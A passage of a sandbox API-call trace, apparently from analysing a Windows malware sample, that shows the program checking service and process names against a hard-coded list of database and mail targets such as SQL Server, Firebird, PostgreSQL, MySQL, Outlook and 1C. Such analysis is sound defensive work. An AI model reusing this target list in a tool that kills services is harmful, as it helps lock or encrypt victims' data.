(lpString="AudioSrv") returned 8 [0172.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0172.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0172.724] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0172.724] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0172.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0172.725] lstrlenW (lpString="BFE") returned 3 [0172.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0172.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0172.725] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0172.725] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0172.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0172.725] lstrlenW (lpString="CryptSvc") returned 8 [0172.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0172.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0172.725] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0172.725] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0172.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0172.725] lstrlenW (lpString="CscService") returned 10 [0172.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0172.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0172.725] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0172.725] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0172.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0172.725] lstrlenW (lpString="DcomLaunch") returned 10 [0172.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0172.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0172.725] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0172.725] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0172.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0172.725] lstrlenW (lpString="Dhcp") returned 4 [0172.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0172.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0172.725] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0172.725] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0172.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0172.726] lstrlenW (lpString="Dnscache") returned 8 [0172.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0172.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0172.726] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0172.726] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0172.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0172.726] lstrlenW (lpString="DPS") returned 3 [0172.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0172.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0172.726] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0172.726] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0172.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0172.726] lstrlenW (lpString="eventlog") returned 8 [0172.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0172.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0172.726] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0172.726] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0172.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0172.726] lstrlenW (lpString="EventSystem") returned 11 [0172.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0172.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0172.726] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0172.726] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0172.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0172.726] lstrlenW (lpString="gpsvc") returned 5 [0172.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0172.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0172.726] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0172.726] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0172.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0172.726] lstrlenW (lpString="iphlpsvc") returned 8 [0172.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0172.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0172.727] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0172.727] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0172.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0172.727] lstrlenW (lpString="LanmanServer") returned 12 [0172.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0172.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0172.727] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0172.727] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0172.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0172.727] lstrlenW (lpString="LanmanWorkstation") returned 17 [0172.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0172.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0172.727] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0172.727] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0172.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0172.727] lstrlenW (lpString="lmhosts") returned 7 [0172.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0172.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0172.727] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0172.727] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0172.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0172.727] lstrlenW (lpString="MMCSS") returned 5 [0172.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0172.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0172.727] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0172.727] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0172.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0172.727] lstrlenW (lpString="MpsSvc") returned 6 [0172.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0172.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0172.728] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0172.728] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0172.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0172.728] lstrlenW (lpString="Netman") returned 6 [0172.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0172.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0172.728] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0172.728] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0172.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0172.728] lstrlenW (lpString="netprofm") returned 8 [0172.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0172.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0172.728] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0172.728] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0172.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0172.728] lstrlenW (lpString="NlaSvc") returned 6 [0172.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0172.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0172.728] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0172.728] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0172.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0172.728] lstrlenW (lpString="nsi") returned 3 [0172.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0172.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0172.728] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0172.729] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0172.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0172.729] lstrlenW (lpString="PcaSvc") returned 6 [0172.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0172.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0172.729] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0172.729] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0172.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0172.729] lstrlenW (lpString="PlugPlay") returned 8 [0172.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0172.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0172.729] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0172.729] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0172.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0172.729] lstrlenW (lpString="Power") returned 5 [0172.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0172.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0172.729] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0172.729] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0172.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0172.729] lstrlenW (lpString="ProfSvc") returned 7 [0172.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0172.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0172.729] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0172.729] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0172.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0172.729] lstrlenW (lpString="RpcEptMapper") returned 12 [0172.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0172.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0172.730] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0172.730] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0172.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0172.730] lstrlenW (lpString="RpcSs") returned 5 [0172.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0172.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0172.730] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0172.730] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0172.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0172.730] lstrlenW (lpString="SamSs") returned 5 [0172.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0172.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0172.730] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0172.730] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0172.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0172.730] lstrlenW (lpString="Schedule") returned 8 [0172.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0172.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0172.730] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0172.730] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0172.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0172.730] lstrlenW (lpString="SENS") returned 4 [0172.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0172.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0172.730] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0172.730] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0172.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0172.730] lstrlenW (lpString="ShellHWDetection") returned 16 [0172.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0172.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0172.730] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0172.731] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0172.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0172.731] lstrlenW (lpString="Spooler") returned 7 [0172.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0172.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0172.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0172.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0172.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0172.731] lstrlenW (lpString="SysMain") returned 7 [0172.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0172.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0172.731] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0172.731] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0172.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0172.731] lstrlenW (lpString="Themes") returned 6 [0172.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0172.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0172.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0172.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0172.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0172.731] lstrlenW (lpString="TrkWks") returned 6 [0172.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0172.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0172.731] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0172.731] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0172.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0172.731] lstrlenW (lpString="UxSms") returned 5 [0172.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0172.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0172.732] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0172.732] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0172.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0172.732] lstrlenW (lpString="WdiServiceHost") returned 14 [0172.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0172.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0172.732] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0172.732] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0172.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0172.732] lstrlenW (lpString="WdiSystemHost") returned 13 [0172.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0172.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0172.732] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0172.732] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0172.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0172.732] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0172.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0172.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0172.732] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0172.732] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0172.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0172.732] lstrlenW (lpString="Winmgmt") returned 7 [0172.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0172.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0172.732] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0172.732] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0172.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0172.732] lstrlenW (lpString="WPDBusEnum") returned 10 [0172.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0172.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0172.733] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0172.733] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0172.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0172.733] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724190 | out: hHeap=0x630000) returned 1 [0172.733] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320 [0172.735] Process32FirstW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.735] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0172.735] lstrlenW (lpString="System") returned 6 [0172.735] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0172.735] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0172.735] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0172.735] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0172.735] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0172.735] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0172.735] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0172.735] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0172.736] lstrlenW (lpString="smss.exe") returned 8 [0172.736] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0172.736] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0172.736] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0172.736] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0172.736] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0172.736] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0172.736] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0172.736] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0172.736] lstrlenW (lpString="csrss.exe") returned 9 [0172.736] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0172.736] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0172.736] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0172.736] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0172.736] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0172.736] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0172.737] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0172.737] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0172.737] lstrlenW (lpString="wininit.exe") returned 11 [0172.737] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0172.737] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0172.737] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0172.737] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0172.737] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0172.737] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0172.737] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0172.737] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0172.737] lstrlenW (lpString="csrss.exe") returned 9 [0172.737] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0172.737] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0172.737] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0172.738] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0172.738] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0172.738] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0172.738] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0172.738] lstrlenW (lpString="winlogon.exe") returned 12 [0172.738] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0172.738] lstrlenW (lpString="services.exe") returned 12 [0172.738] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0172.739] lstrlenW (lpString="lsass.exe") returned 9 [0172.739] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0172.739] lstrlenW (lpString="lsm.exe") returned 7 [0172.739] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.739] lstrlenW (lpString="svchost.exe") returned 11 [0172.739] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.740] lstrlenW (lpString="svchost.exe") returned 11 [0172.740] Process32NextW (in: 